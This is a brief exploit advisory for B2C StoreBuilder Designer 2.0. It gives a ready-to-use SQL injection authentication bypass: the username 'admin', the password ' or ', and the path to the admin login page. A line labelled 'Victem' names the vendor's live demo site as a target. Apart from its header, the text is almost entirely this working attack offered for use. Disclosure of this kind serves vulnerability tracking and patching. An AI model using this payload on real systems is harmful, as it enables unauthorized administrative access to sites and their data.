B2C StoreBuilder Designer version 2.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
fa51b4993bde6586ddefb27d30d2cd895ad052d6a9e1abee9c1f110fa42f1964
#########################################################
---------------------------------------------------------
Portal Name:B2C StoreBuilder Designer
Version: 2.0
Vendor: http://www.etoshop.com
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Website: http://Pouya-Server.ir
Vulnerability : (Auth Bypass) SQL Injection Vulnerability
---------------------------------------------------------
#########################################################
[Auth Bypass]:
user: admin
pass: ' or '
admin page : http://site.com/[path]/admin/admin.asp
-----------------------------------
Victem :
http://www.etoshop.com/demo/storebuilder/storebuilder
---------------------------------------------------------
#########################################################